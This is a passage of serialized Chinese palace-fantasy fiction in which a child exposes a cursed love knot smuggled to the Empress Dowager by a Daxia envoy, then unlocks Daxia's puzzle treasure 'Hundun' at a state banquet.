当晚,寿成宫偏殿的一根细小的横梁掉了下来,萧杰昀下旨。
“寿成宫乃太后颐养之所,然年久失修,朕心甚忧。即日起,太后挪居于长春苑,一应陈设悉如旧制。待寿成宫修缮完毕,再行返居。”
旨意一下,寿成宫的大门缓缓打开,太后终于走了出来。
第164章 悠悠三十余载
皇后慕容瑾身着凤袍,在门外静立等候。
见太后出来,她急忙上前一步,规规矩矩地行了大礼:“恭迎母后。”
太后脚步微顿,俯视着这个自己当年一手推上后位的远亲侄女。
如今执掌后宫,气色看着比以往红润多了。
太后声音平淡:“起来吧。你身子大好了?倒是难为你来这一趟。”
慕容瑾起身:“蒙母后挂心,臣妾身子已无大碍。母后挪宫乃是大事,臣妾理当侍奉左右。”
软轿早已备好。
太后在秦嬷嬷的搀扶下上了轿,一路抵达了长春苑。
内外早已收拾妥当。
慕容瑾亲自扶着太**内,行事妥帖,滴水不漏。
殿外传来内侍通传:“陛下驾到——”
萧杰昀大步入内,来到太后跟前行礼:“给母后请安。”
“挪宫琐碎,母后辛苦了。可还有何处不习惯?朕已吩咐过了,母后若有何需要,即刻去办。”
太后看着眼前这对帝后,一个演着孝子,一个扮着贤媳,心里不由得冷哼了一声。
面上却扯出一个慈和的笑容:“皇帝有心了,一切都好。有皇后亲自打理,很是妥帖。”
“那便好。”萧杰昀含笑点头。
太**着茶盏的手指,情不自禁地收紧了。
自此以后,帝后二人日日晨昏定省,从未间断。
又过了几日,各国使团都已抵达驿馆。
萧杰昀下旨在宫中召见所有使节。
此次应烈国之邀,除了周边两个最大的邻国大夏和西卢到了,还有一些小国也纷纷派来了使节。
大夏储君公孙宏,西卢使臣姬峰,和一些小国使节依次向萧杰昀递交了国书并进献了厚礼。
萧杰昀微微颔首:“诸位使臣远道而来,一路辛苦。贵国美意,朕心领了。”
“程谨言,依礼回赐。”
“是!”
就在觐见礼仪即将结束之际,公孙宏再次上前。
“陛下,临行前,父皇特意叮嘱。闻听贵国太后寿诞将至,我大夏偶得一件异宝,名曰千年血玉枕。”
“有安神养气、益寿延年之奇效。特命外臣,定要面呈太后娘娘,聊表我国敬意。”
萧杰昀沉吟片刻:“有心了。只是太后近日挪宫修养,精神短少,今日怕是不得空相见。”
公孙宏脸上适时地露出了一抹恰到好处的遗憾。
萧杰昀话锋一转:“不过,既是一番诚心,不如这样吧,明日巳时,朕准你遣一女眷入长春苑,向太后敬献此宝。”
公孙宏立刻躬身谢恩:“谢陛下恩典!”
翌日,巳时,长春苑。
一片寂静,唯有秦嬷嬷和几个日常伺候的小宫女在内,站地远远的候着。
一位头发花白的老嬷嬷垂手低眉地走了进来。
她行至殿中,规规矩矩地给太后行了大礼:“老奴奉大夏皇帝之命,特来向太后娘娘请安。”
“为贺娘娘千秋万寿,献上千年血玉枕,恭祝娘娘凤体安康。”
太后目光落在她身上,默默出神。
半晌后,她才缓缓道:“起来吧。”
“哀家,有三十余年,没见过大夏人了。”
老嬷嬷起身,抬起了头,露出一张布满细纹却依稀能分辩出旧日轮廓的脸。
她望着太后,表情复杂,声音微微发颤:“娘娘!老奴也三十余年,没能在您跟前伺候了。”
太后瞳孔骤然一缩,紧紧盯住老嬷嬷的脸,低声道:“是你?”
老嬷嬷捧上一个锦盒:“此乃千年血玉枕,望娘娘笑纳。”
“此物用法颇为讲究,需得其法,方能得安神延年的奇效。”
“不如,容老奴随娘娘进内殿,为您演示一番?”
太后沉默片刻:“都退下。”
“秦嬷嬷,守住殿门,任何人不得靠近。”
“是。”秦嬷嬷躬身,领着宫女们悄无声息地退了出去,细心地掩上了殿门。
大殿内只剩下了太后与老嬷嬷两人。
太后站起身,伸出手:“常嬷嬷。”
常嬷嬷立刻上前扶住了她的手,两人一言不发,却步履一致,极其默契地走入了内殿。
常嬷嬷将内殿的门仔细关好。
太后脸上的平静瞬间消失,她猛地转身,紧紧盯着常嬷嬷:“是他让你来的?他还好吗?”
常嬷嬷跪倒在地,老泪纵横:“娘娘!是陛下让老奴来的!陛下他身子一直不大爽利,但心中却无一日不记挂着娘娘啊!”
她颤巍巍的从怀中,取出一封信:“陛下有亲笔信在此,命老奴,务必亲手交到娘娘手中!”
太后深吸了口气,指尖微颤地接过,展开,熟悉的笔迹立即跳入眼帘。
“昔年一别,悠悠三十余载。”
“桃花岁岁皆放,却再无当年颜色。漫漫长夜,唯余旧梦支撑。每每思及你我被迫分离之痛,我便夜不能寐。”
“我虽已为帝,却终不能随心所欲。”
“此生大憾,便是未能护你周全,让你独在深宫煎熬。如今你我皆两鬓斑白,只盼有生之年,能与你重逢,寻一人间桃源地,共度余生。”
“前次所赠之符咒想必效力已微。”
“今特命故人前去,赠你更为灵验之物,助你掌控宫闱,安享尊荣。”
“万望珍重,勿再委屈自身。”
字里行间,有追忆,有无奈,更有无尽的相思和回护,太后看着看着,泪水滑落下来。
常嬷嬷见状急忙将她扶到床边坐下:“娘娘!莫要再伤心了。”
“当**情,实是阴差阳错,造化弄人。您与陛下,都没有法子啊
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。”
太后啜泣着低语:“三十余年了,当日我还未进宫,他也还是个质子。”
“我们宫外相逢,渐生情愫,未料到我奉旨入宫为妃,而他,也被诏回了大夏,就此错过了终身。”
“如今,他是大夏皇帝,我是烈国太后,当真是物是人非啊!”
常嬷嬷掏出锦帕,给她擦拭泪水:“陛下常说,此生最挂念的人却远在天边,无法相护,所以才送了娘娘您那个符咒,助您一臂之力。”
太后点了点头,收了哭声:“那符咒一直在紫宸殿中,前些日子皇帝不知何故将龙案给烧了,却没有动那屏风。”
常嬷嬷道:“陛下听闻娘娘在这里受苦,心急如焚。遂命老奴给您送来了更灵验的好东西。”
说完,她打开锦盒,将里面一个红色的玉枕拿了出来。
掀开下面的暗格,只见里面静静地躺着一个同心结。
她拿起同心结,双手捧给了太后。
太后接了过来,泪水盈盈:“同心结?”
她轻轻接过来,用手指轻轻摩挲,样子极为普通,就是寻常的同心结,但手摸上去却发觉,似金非金,似发非发,材质极为独特。
太后问道:“上次那符咒,说是大夏神童所制。那神童如今……不是?”
常嬷嬷道:“娘娘不必挂怀,神童不过是国师的弟子罢了。”
“萤火之光,岂能与皓月争辉?国师之能,才是真正通天彻地。”
“这枚‘同心结’,正是国师耗费数年心血炼制而成的奇宝。”
她压低了声音:“娘娘只需取得陛下的几根头发,将其紧紧缠绕于此结的中心之处。”
“然后,每夜子时,刺破手指,以您的一滴鲜血浸染这发丝缠绕之处,连续七夜之后……”
常嬷嬷抬起眼,目光灼灼:“陛下便会真正与您‘母子连心’,从此,对您言听计从。”
“到时,您将是这烈国之中,真正说一不二的无上之主。”
太后闻言,呼吸顿时急促了几分:“当真如此灵验?”
常嬷嬷回道:“老奴来之前,陛下曾几次问过国师,确定其灵验非凡,且不会伤及太后玉体,方才命老奴给您送来。”
太后感动不已:“这么多年了,他始终如此待我。”
“也只有他,如此懂我。”
“旁人都以为我身为太后,万事顺心,无有担忧。“
“却不知我一生都在担心,帝心如渊,不知何时便会翻脸无情,我若有事,慕容家必然也是大厦将倾。”
“若能让皇帝与我同心,确是帮了我天大的忙。”
“那是什么?团团?”萧元珩在女儿耳边低声问道。
趴在小洞上使劲往外看的团团:“不知道捏!看不清楚!”
萧杰昀站在一旁,脸色铁青。
第165章 你也会一样哦
“母后!”皇帝的声音冰冷彻骨。
太后浑身一震,骇然转头。
只见内殿的雕花屏风后,暗门无声滑开。
萧杰昀面沉如水,率先迈步而出,萧元珩抱着团团紧随其后。
完了!皇帝都听见了!
“皇,皇帝?!”太后声音颤抖,一脸惊恐,“宁王!你们怎么会……”
常嬷嬷脸色大变,“扑通”跪倒在地,抖如筛糠。
萧杰昀柔声道:“团团,仔细看看,那究竟是什么东西?”
说完斜了程公公一眼。
程公公会意,躬身上前:“得罪了,太后娘娘。”
劈手将太后手中的同心结便夺了过来,递给了团团。
团团拿在手里翻来覆去的边看边感叹:“啧啧,皇伯父啊,这个可比上次那个屏风上的厉害多啦!”
“要是真的照这个婆婆说的做,你就会天天头痛,睡不着觉,睡着了也全都是噩梦!”
“然后啊,过不了多久,你就会开始胡说八道,很快就会崩啦!”
太后脸色骤变,厉声喝道:“你胡说什么!”
常嬷嬷猛地抬头:“娘娘明鉴!她血口喷人!老奴冤枉啊!”
团团看着太后:“你不信啊?”
她皱着眉头摆弄着同心结,郁闷了:“这也太结实了吧,火烧刀砍都未必弄得破你!”
她环顾四周,想找个什么法子,对付这个同心结。
突然,她看到了仍旧跪在地上的常嬷嬷。
咧嘴一笑:“老婆婆,你用你的头发,缠进去呗,不就知道我说的对不对了吗?”
常嬷嬷心中一松,哼,果然只不过是个小孩子!想拿我试?
此乃国师秘宝,头发缠好后需鲜血滋养七日方能生效,此时能试出个什么!
她心下大定,抬手从自己花白的发髻中,干脆利落地拔下了几根头发,递向了团团。
给你,横竖一时半刻,根本看不出什么。”
团团小嘴一撇:“我不会,还是你自己缠上去吧,怪费劲的,我哪儿知道该往哪儿缠呀!”
常嬷嬷依言照做,心中冷笑不已,一个小丫头,一屋子大人陪着你在这儿玩头发!
她将自己的头发缠入同心结中心后,捧给团团。
团团将手指放在口中吮吸,萧元珩记起了秋猎时她的样子,顿时皱起了眉头:“团团!”
团团把手指从嘴里拿出来,伸手将同心结抓了过来。
手指的上的一抹鲜红,涂抹在了缠绕着常嬷嬷头发的地方。
“嗡……嗡……”
一声极其低沉的嗡鸣声,从同心结中隐隐传出。
那结扣上幽暗的光泽瞬间活了过来,像是一头贪婪的野兽终于尝到了渴求已久的食物。
同一瞬间,“呃啊——!”
常嬷嬷发出了一声不似人声的的嘶哑低吼。
她惊恐得瞪大双眼,举起双手,眼睁睁地看着自己那双原本只有些许细纹的手,转眼变得全是褶皱。
所有人都不可思议地瞪大了眼睛盯着她。
只见她的皮肤以肉眼可见的速度失去水分,急速干瘪了下去。
花白的头发尽数变成雪白,紧接着簌簌掉落,露出光秃秃、布满斑点的头皮。
她的脸颊深深地凹陷了下去,牙齿一颗接一颗地脱落,掉在地上发出清脆的“啪嗒”声。
原本还算挺拔的脊背发出“咔嚓咔嚓”的轻响,猛地佝偻了下去,整个人瞬间矮了一截。
她如同被什么神秘的力量,疯狂地抽取着所有的生机。
她艰难地抬起鸡爪般干枯的手指,指着团团,声音苍老、嘶哑得几乎无法分辨,眼睛里充满了恐惧:
“你……你做了什么……”
她拼尽最后一丝力气,想要向前迈出一步,但她的脚刚刚抬起,便“噗通!”一声,脸朝下,重重地摔在了冰冷的地面上。
就在她身体接触到地面的刹那,整个躯体瞬间坍塌、瓦解,扬起了一阵烟尘。
地上只剩下一身空荡荡的宫装,软塌塌地覆盖在那堆人形的灰烬之上。
一切发生的太快,太不可思议,以至于萧元珩都看楞了,没来得及捂上团团的眼睛。
这会儿才反应过来,一把将女儿的头按在自己脖颈中:“别怕,爹爹在。”
团团也确实吓了一跳,乖巧地在父亲脖子上蹭了蹭。
萧杰昀额上青筋直跳,不敢想象如果这东西当真用在了自己的身上,整个烈国将会是多么混乱的局面。
太后面无人色,嘴唇剧烈地颤抖着,踉跄着后退了几步,若非及时扶住了身旁的桌案,几乎便要瘫软在地。
她看着那堆灰烬,又看了看团团手中攥着的同心结,最后看向了满面怒容的皇帝,眼中全是惊骇。
他在害我?他竟然在害我?
他是从什么时候开始害我的?
是了!他一走便杳无音讯,直到我做了太后,他才找人来送信。
起初我怨他无情,不愿理他,他却不停送来各种香囊,玉佩,锦帕……
小意温存,说他回去之后,便遭人下毒,大病一场,后又是夺嫡之争,险些丢了性命。
从那时便开始了吗?
还是,从一开始的宫外初遇,便是假的?
太后不敢相信,缓缓摇头:“不,这不是真的,这绝对不是真的!”
听到这话,团团抬起头来:“你还不信吗?”
“你要是真的照她说的做,皇伯父就崩啦!”
萧元珩捂住了她的小嘴:‘这话可不能说哦!团团!”
“那我该怎么说?”
“你就说……你就说……算了,我们都懂了,你别说了。”
她把同心结往太后面前一伸:“你看啊!”
太后瑟缩了一下,才缓缓向看去,只见那同心结,竟然比方才亮了许多,也好看了许多,有的地方竟然隐隐显出了一些纹路,与刚才大不相同。
太后瞪大了眼睛:“这是?”
团团哼了一声,“吃了一个人进去,当然不一样啦!”
太后打了个冷战。
团团看着她:“如果你用你的血每日给它,你也一样会崩的哦!”
“什么?”太后彻底愣住了。
第166章 大夏至宝?
太后脸色惨白,嘴唇哆嗦着,几乎语无伦次:“不!不可能……他不会的,他不会的!”
“你怎么还不明白啊!”
团团指着同心结:“给你这个东西的人是个大骗子!”
“这东西唯一的用处就是吃别人的命。”
“那个老婆婆的头发缠上去,就是告诉它,吃啊,就吃这个人!”
“我的血滴上去,就是告诉它开饭啦!快吃啊!”
“只不过,我的比较厉害,所以它一口就把老婆婆吃光光啦!老婆婆就成了灰灰了。”
“你的呢,就差一些,所以,才需要七日。”
“做这个东西的人,和送这个东西的人,肯定都是知道的啊。”
“等它吃掉了皇伯父,没的吃了,当然饿了就吃你了嘛!”
太后眼前一黑,彻底支撑不住,直直地瘫倒在地。
一直以来,她都以为,自己手里握着的,是操控帝王的丝线,却没有想到,竟是吞噬一切的毒蛇。
萧杰昀冷漠地看着失魂落魄的太后:“母后,您现在看清了吗?”
太后没有回答,眼神空洞,仿佛一具没了灵魂的躯壳。
萧杰昀不再看她,转身走出:“程谨言!清理此地。”
“即日起,请太后回寿成宫静养。无朕旨意,任何人不得惊扰。”
“是!”
次日,一封来自大夏使团、措辞谨慎的公文摆在了萧杰昀的御案上。
公孙宏以“随行女官常氏自昨日入宫后未归,恐生意外”为由,询问常嬷嬷的下落。
若非涉及太后私情,朕早已问罪你们了,居然还有胆子问到朕的头上来?
萧杰昀冷笑一声:“传朕口谕,大夏使团在京城丢失人员,此事非同小可。”
“着禁军,即刻带人,前往大夏使团所居驿馆,里里外外、仔仔细细地给朕搜寻!务必确保使团上下安全无虞!”
“再给他们寻个好地方挪进去!”
程公公躬身领命:“老奴即刻去办。”
半晌后,大夏使团下榻的“四方馆”外,顷刻间被一队身披甲胄、煞气腾腾的烈国禁军团团围住。
禁军统领按刀而立,声如洪钟:“奉陛下口谕,为保大夏使团安全,特来协助搜寻失踪女官!”
公孙宏脸色难看地带着随从走出,强压怒气:“此乃我大夏使团居所,贵国如此兴师动众,恐怕于礼不合吧?”
禁军统领面无表情,抱拳朝天一拱:“请殿下见谅!陛下有旨,为确保诸位安全,务必要找到失踪女官,方才命末将前来。”
“若因于礼不合而使贵国使团人员意外失踪,岂非有损两国邦交情谊?搜!”
一个“搜”字落下,禁军们如虎狼般涌入院落,三人一组,迅速散开。
禁军们动作飞快,所有箱笼都被逐一打开,全部物品都被仔细检查后随意扔放,连床铺被褥都掀开了。
这哪里是搜寻,分明就是抄家!
公孙宏与一众大夏人站在院中,看着对方在自己的住所内如此肆无忌惮,个个脸色铁青,满脸屈辱。
驿馆是相连而建的,周围其他国家的使团也均被惊动,远远围观,指指点点,更令大夏诸人如芒在背。
足足折腾了一个多时辰,各队回报:“禀副统领,未曾发现失踪女官踪迹!”
禁军统领这才转向脸色已黑如锅底的公孙宏,抱拳道:“殿下,为保诸位绝对安全,此地已不宜居住。”
“陛下体恤,为贵使团另备了下榻之处,请诸位即刻移步!”
说是“另备之处”,实则是一处多年未曾修缮的旧官署。
院墙斑驳,屋内陈设简陋,甚至还隐隐散发着一股霉味,与先前宽敞明亮的四方馆相比,简直天壤之别。
禁军统领将所有大夏人都“护送”至此:“殿下在此安心居住,绝无安全之虞!”带队扬长而去。
公孙宏站在破败的庭院中,看着身后一群惶惶不安的下属。
他便是再迟钝,此时也彻底明白了。
临行时父皇交代,务必要助常嬷嬷能面见太后,却未告知究竟是何事。
如今看来,定是有什么隐秘之事,且已被烈国皇帝知晓。
常嬷嬷,恐怕已凶多吉少!
今日此举,明摆着便是警告。
一股寒意从脚底缓缓爬上脊背。
公孙宏毫不怀疑,若自己再对常嬷嬷失踪之事纠缠不休,这位烈国皇帝,绝对会让他这个大夏储君也意外失踪在这异国他乡!
他死死攥紧了拳,勉强压下心头的惊惧与滔天的怒火。
良久,他缓缓松手:“传令下去,所有人,安分守己,不得再生事端!常嬷嬷之事,谁都不许再提!”
几日后,萧杰昀在太极殿设宴,款待来访的所有使节。
金碧辉煌的大殿内,丝竹悦耳,觥筹交错。
列国来朝,共聚一堂,场面盛大,气氛祥和。
萧杰昀高踞龙椅,手握酒杯,面带微笑。
宁王夫妇带着团团坐于席间。
团团今日打扮得格外精致,穿着一身藕荷色宫装,衬得那张小脸愈发玉雪可爱。
她才不管皇帝宴请的是谁,专心致志地吃着一块芙蓉糕,小腮帮子一鼓一鼓,看着格外可爱。
酒过三巡,场面上的客套话渐歇。
大夏使团中,一人缓缓起身。
正是大夏的文相司马东辰。
他年约四旬有余,面容清癯,三缕长须打理得一丝不苟,气度沉稳。
他走到大殿中央,对着萧杰昀深深行礼:“陛下,今日列国欢宴,宾主尽欢,实乃盛世佳话。”
“外臣奉我大夏皇帝之命,特携一件至宝前来,以增雅兴。”
“亦想借此机会,请素来以博闻广识的烈国才俊们,为我大夏解惑。”
来了!
席间的烈国大臣心中皆是一凛。
萧元珩握着酒杯的手微微一顿,与程如安交换了一个心照不宣的眼神。
程如安下意识地将手轻轻搭在团团的背上,姿态优雅,眼神警惕。
团团与大夏可谓宿敌,不可不防。
萧杰昀笑容不变:“哦?大夏至宝?”
第167章 翁翁,等等嘛
司马东辰不慌不忙,自袖中取出一物。
并非众人想象的华美礼盒,而是一个暗沉的,青铜色泽的物件。
约莫成年男子拳头大小,形状极为奇特,表面布满了无数细密繁复、毫无规律的凹槽与凸起。
仿佛是无数碎片被强行揉合在了一起,构成了一个令人望之目眩的复杂结构。
司马东辰声音郑重:“此物,名为‘混沌’。”
“乃是我大夏开国之初,自天外陨铁中所得。”
“数百年来,无数能工巧匠、博学大儒,乃至修行高人,皆曾试图探寻其奥秘,却无人能使其变化分毫。”
他目光扫过在场众人,最终落回萧杰昀身上:“素闻烈国地大物博,人杰地灵,英才辈出。”
“贵国若能有人,在不损坏此物的前提下,令其有所改变,显露内藏之秘,我大夏不仅将此宝拱手相送,再添三座边境城池,以作答谢!”
“嘶——”
此言一出,大殿之内,顿时响起一片抽气声。
三座城池!大夏这是要做什么?
但是,众人也都听出了他话里的机锋。
大夏这是借着献宝之名,行挑衅之实!
若烈国无人能解,在这数国在场的盛大宫宴上,必然颜面尽失。
西卢国的使节姬峰摇晃着杯中酒液,嘴角噙着一丝玩味的笑意,显然乐见其成。
萧杰昀脸上的笑容淡了几分,看向司马东辰:“贵国好大的手笔啊。”
司马东辰微微躬身,恭敬有礼却寸步不让:“天下皆知烈国智者无数,我大夏只不过诚心求教罢了。”
殿内的气氛瞬间紧绷。
文武百官面面相觑,皆从彼此眼中看到了凝重与难色。
大夏举国之力数百年都解不开的难题,他们顷刻之间又如何能解?
萧杰昀微微颔首:“司马丞相既有此雅兴,朕自当成全。“
“既然是贵国至宝,不如,让今日在座各位使节先行传阅,开开眼界,再让我朝官员看看,如何?”
司马东辰心中笃定,此物绝非人力可解,于是微微一笑:“外臣遵旨。陛下圣明,如此至宝,确该与天下英才共鉴,”
程公公走下台阶,将混沌用一个托盘托起,送到了西卢的桌案上。
姬峰一把抓起,眼神轻蔑,什么至宝!不过是一个沉甸甸、冷冰冰的一个死疙瘩!
他翻来覆去地看了看,暗暗运起内力,那“混沌”却纹丝不动,
他干笑一声,将混沌扔回托盘:“果然神异,佩服,佩服。”
说完看了萧杰昀一眼。
我西卢是没办法,看你烈国的了,反正大夏挑衅的又不是我。
程公公捧着托盘,依次送到其他使团的桌案上。
走了一圈,所有人都是默默摇头,毫无办法。
程公公将托盘送到烈国臣子们的手中。
一个老臣掏出水晶镜片对着研究了半晌,摇头叹息:“浑然一体,天衣无缝,老夫无能为力。”
另一个年轻官员,手指沿着凹槽中飞速摸索,额头见汗,脸渐白,最终颓然放弃。
殿中的气氛越来越压抑。
烈国群臣的脸上,明显都露出了焦灼和难堪。
司马东辰与公孙宏交换了一个眼神,嘴角微微上扬。
最终,程公公来到了皇室宗亲的桌案。
萧元珩皱着眉头拿了起来,端详了片刻,束手无策。
程如安在女儿耳边轻声道:“团团,你看看这东西,能不能解开。”
团团“嗯”了一声,从爹爹手中接了过来。
“哇!好沉哦!”
她把混沌放在了面前的桌案上,转来转去,反复查看。
萧杰昀握着酒杯的手瞬间收紧。
程如安看着女儿:“没关系,若是不行,放回去吧。”
团团鼻尖微动,猛地凑了上去,用力闻了闻。
公孙宏嘴角一扯:“原来,烈国仙使不但人聪慧,这鼻子也能与灵犬媲美啊。”
殿中一阵哄笑。
程如安搂住了女儿的小肩膀。
萧元珩虎目圆睁:“小女是在帮殿下的忙,殿下却出言冒犯,难道大夏人便是如此恩将仇报的吗?”
公孙宏一笑:“宁王此言差矣,能解得出来,方是帮了孤的忙。如今仙使束手无策,何谈孤是恩将仇报?”
萧元珩眼睛眯了眯:“殿下是忘了昔年的边关大战了吗?本王尚且宝刀未老。”
公孙宏笑容一僵,当年边关血战,便是这位宁王率军,将烈国的战旗插在了大夏的疆土上。
团团拉了下母亲的衣袖,在她的耳边轻轻说了一句。
程如安面露疑惑,却未多问半句,站起身来:“陛下,请恩准臣妾回府更衣,去去便回。”
萧杰昀点了点头:“宁王妃不必多礼,去吧。”
“谢陛下。”程如安转身离去。
团团将混沌放回托盘,程公公心下焦急,低声问道:“小郡主,你也没办法吗?”
团团小声道:“翁翁,等等嘛。”
程公公无奈,只得端着托盘继续去了下一桌。
眼看着程公公在大殿内走了一圈,回到了萧杰昀身旁。
公孙宏端着酒杯,慢悠悠地开口:“陛下,看来贵国亦无英才,可破解这混沌’。”
“唉,天意既如此,孤也就不强求了。”
“若贵国始终无人能破解,我大夏亦可将这宝物拱手奉上。”
“换回不慎遗失在贵国的传国玉玺,不知陛下,意下如何?”
“传国玉玺?!”
殿中顿时一片哗然。
在座的各国使节纷纷面面相觑,大夏的玉玺怎么会遗失在烈国?
难怪大夏要用混沌这种东西为难烈国,原来,竟是冲着那象征着一国正统的玉玺而来啊!
姬峰猛地一拍大腿,发出了一声做作的大声惊呼:
“哎呀呀——!”
这一嗓子,顿时将所有人的目光吸引了过去。
姬峰一脸恍然大悟的表情,眼睛里闪烁着毫不掩饰的幸灾乐祸,冲着公孙宏道:“殿下,此前为何从未听说大夏的玉玺流落在外?”
“这么说,贵国皇帝竟然一直连玉玺都没有?”
公孙宏脸色难看起来。
姬峰仰头喝了一大口酒:“不对!定是以前有的,否则如何登基为帝呢?”
“那这玉玺又怎会落在了烈国?莫非是,在当年的边关大战时,被宁王殿下给请回来的?”
此言一出,其他的使节都捂嘴轻笑,萧杰昀也面露笑意。
公孙宏和司马东辰的脸色瞬间阴沉。
姜城上前一步,脸色铁青。
姬峰毫不在意,仿佛刚才只不过说了一句毫无紧要的话,继续大口喝酒,大块吃肉,惬意无比。
萧元珩冷冷的盯着公孙宏,周身煞气隐现。
殿门传来了内侍的高声禀告:“宁王妃到——”
第168章 哪三座城池
程如安去而复返,步履从容。
而她的手中,赫然多了一个狭长的的小木盒。
她向皇帝行礼后,径直回到席间,将那狭长的木盒轻轻放在团团的面前。
团团眼睛一亮,伸出小手拍了拍木盒,仰头看向程公公:“翁翁!快把那个铁疙瘩帮我拿过来吧!”
这一声”铁疙瘩“,叫得大夏使团所有人嘴角一抽。
他们奉若神明、穷尽国力数百载都无法勘破的至宝,在这位小郡主口中,竟成了”铁疙瘩“?
姬峰口中的酒差点儿喷出来,仔细看了眼团团,这小姑娘居然想得跟我一样,有趣。
程公公下意识看向皇帝,萧杰昀点了点头。
程公公走到团团面前,将托盘放在桌案上。
公孙宏捏着酒杯的手微微收紧,司马东辰眉头皱起,姬峰也放下了酒杯,身体微微前倾,所有人都紧紧盯着团团,生怕错过每一个细节。
团团先打开了木盒。
将里面那个毫不起眼的木楔子拿了出来,小手摸到机关,用力一按。
众人一脸惊讶地看着木楔展开,一层一层翻卷,露出洁白温润的木质,一股清雅沁脾、若有若无的异香,随之慢慢散开。
萧元珩心里一跳,这不是,闺女从长公主的赏珍会上带回来的璇玑尺嘛!
团团凑近那暗沉的“混沌”,再度用力嗅了嗅,又凑到璇玑尺上,同样认真地闻了闻。
她看向公孙宏,一脸得意地道:“看吧,我就说我闻过这个香味嘛!”
“我的尺尺,和你们这个疙瘩,明明就是一套的呀!”
“胡说八道!”公孙宏脸色铁青,“我大夏国宝,怎会与你这不知所谓的木尺是一套!简直荒天下之大谬!”
司马东辰也沉声接口:“小郡主,饭可以乱吃,话不可乱说。”
“此物乃天外陨铁所铸,与你手中木尺材质模样天差地别,何来一套之说?”
团团根本不搭理他们。
她低下头,一手拿着璇玑尺,一手按住“混沌”,仿佛在玩一个有趣的玩意儿。
她伸出小手指在“混沌”复杂无比的表面轻轻划过,感受着那些凹凸不平的纹路。
大殿内寂静无声,所有人的目光都集中在她的身上。
突然,她的手指停在了“混沌”的一个看似毫无规律的凹陷处。
“找到啦!”
团团欢快地低呼了一声,不再犹豫,拿起璇玑尺的一端,看准了位置,像是将最后一块拼图放进了该放的地方,轻轻地将璇玑尺精准地嵌入了“混沌”的那处凹陷之中!
“咔哒。”
一声清脆的机括咬合声响起。
紧接着,嗡——!
那沉寂了数百年的混沌,骤然发出了低沉而恢宏的嗡鸣!
以璇玑尺嵌入的地方为源头,混沌仿佛被注入了生命一般,金色的流光瞬间蔓延至整个儿表面!
无数细密繁复的凹槽与凸起,在金光的流转下,赫然显现出了真正的面貌。
那浑然一体的结构,如同沉睡的莲花终于等到了绽放的时机,不断层层旋转、展开!
每一层的展开,都伴随着更加璀璨的光芒和更加玄奥的符文在周围不停流转,光晕不断增强,渐渐笼罩了整个太极殿!
烈国的众臣激动不已,姬峰瞪大了双眼,看得目不转睛。
公孙宏和司马东辰脸上的血色瞬间褪得干干净净。
混沌竟然真的被烈国人给破解了!
当最后一道光华敛去,混沌”已然大变模样。
它舒展成了一个结构无比精妙,上面有星辰环绕的立体仪盘。
那璇玑尺,正严丝合缝地嵌在仪盘的核心基座上,尺身上的金丝纹路与仪盘上的星光轨迹完美相连,交相辉映,仿佛本就是一体同生!
团团好奇地戳了戳那缓缓运转的星辰仪盘,对着面如死灰的公孙宏,露出了一个甜甜的笑容:“看,打开啦!”
大殿内一片寂静,唯有那仪盘运转时发出的细微嗡鸣在殿中轻轻回响。
所有人的表情都凝固在脸上。
烈国众臣惊喜非常,大夏人面如死灰。
“哈哈!哈哈哈——好!好!好!”
萧杰昀抚掌大笑,畅快淋漓:“朕的仙使,果然从未让朕失望!”
他看着团团,眼神中充满了毫不掩饰的赞赏与骄傲。
程如安一把将女儿搂进怀里,轻轻抚摸她的发顶:“娘的团团,真是厉害哦!”
萧元珩拍了拍团团的小肩膀,无比自豪。
团团摇头晃脑,开心的尾巴都快要翘到天上了。
“陛下洪福!天佑大烈!”
霎时间,所有烈国文武百官齐声山呼,声浪震天。
盛湛冲着司马东辰朗声道:“殿下,恭喜贵国至宝终遇明主,重见天日。”
“不知贵国相赠的,是哪三座城池?”
他抬手一拱,一副公事公办的模样:“老臣统领工部,职责所在,需得及时修改我烈国疆域舆图,也好早日将其纳入境内,妥善安置。”
所有人均是一怔,对啊!还有这事儿呢。
公孙宏脸上青红交错:“事关国土,岂能儿戏!具体城池,需得孤回去禀明父皇,再行商定!”
盛湛微微颔首:“殿下所言甚是,国土大事,自当慎重。”
“既如此,老臣静候佳音。”
“相信大夏乃礼仪之邦,殿下更是一言九鼎,必会言出必行。绝不会食言而肥,令天下人耻笑。”
“你……!”公孙宏胸口剧烈起伏,一口郁气堵在胸口,几乎要喷出血来。
钦天监正史起身走到御阶之下,指了指那仪盘:“陛下!请准臣走近一观!”
萧杰昀心情大好,大手一挥:“准!”
正史脚步踉跄,扑到星辰仪盘之前,凑近了死死盯着那流转的星光与地脉轨迹。
半晌后,他的身体微微颤抖,猛地回头,面向皇帝:
“陛下!天佑大烈!天佑陛下啊!此物并非凡间巧器!可勘天地啊!”
他激动得几乎语无伦次:“观星象可知天时,察地脉可晓地理!得此物者,可定一国之气运,风调雨顺,国祚绵长!”
“这是真正的护国神器啊!陛下!”
他欢喜的手足无措,竟对着大夏人深深一揖:“多谢诸位!多谢诸位!将这镇国的至宝,送到我烈国来啊!”
公孙宏的脸色由白转金,一口鲜血再也按捺不住,“噗”的一声喷溅而出,身体晃了晃,姜城抢上一步,将他死死扶住。
司马东辰闭了闭眼,仿佛瞬间苍老了二十岁。
他们精心策划,却不仅输了至宝,丢了城池,更是亲手将一个可勘国运的神器,送给了烈国!
姬峰看着吐血的公孙宏和万念俱灰的司马东辰,又看了看那仍在运转不休的仪盘,猛地灌下了一大口酒,喃喃自语:
“好家伙!这下,三国鼎立的格局,怕是要变一变了。”
“咳咳,大夏储君欢喜过度,又兼不胜酒力,”萧杰昀清了清嗓子,高声道,“来人,速将殿下送回去歇息,命太医前去诊治。”
“是!”
第169章 去我的庄子上
这日午后,阳光慵懒,暖洋洋地照在团团身上。
爹爹和哥哥们都忙着使团的事,只有萧二陪着她,一路闲逛到了京城北市。
熙熙攘攘的人潮和琳琅满目的货摊热闹非凡。
“咩——咩——”
“有小羊!”团团眼睛一亮,拉着萧二寻声而去。
只见前面正围着几个人,一个羊贩子正不耐烦地拉扯着一只白色小羊羔。
那羊羔看起来不过月余,一条后腿似乎有点瘸,瘦瘦小小,瑟瑟发抖,一双湿漉漉的黑眼睛里充满了惊恐,咩咩地叫着。
“晦气!站都站不稳的玩意儿,留着你都浪费我的草料!”羊贩子骂骂咧咧,用力想将羊羔拖走。
“你别那么拉它!它腿疼!”团团大喊着钻出人群,想也不想就要往前凑。
萧二的大手微微用力,没让她冲过去:“小姐,小心。”
“可是它疼呀!”团团仰起小脸看着他。
萧二想了想,领着她慢慢的靠了过去。
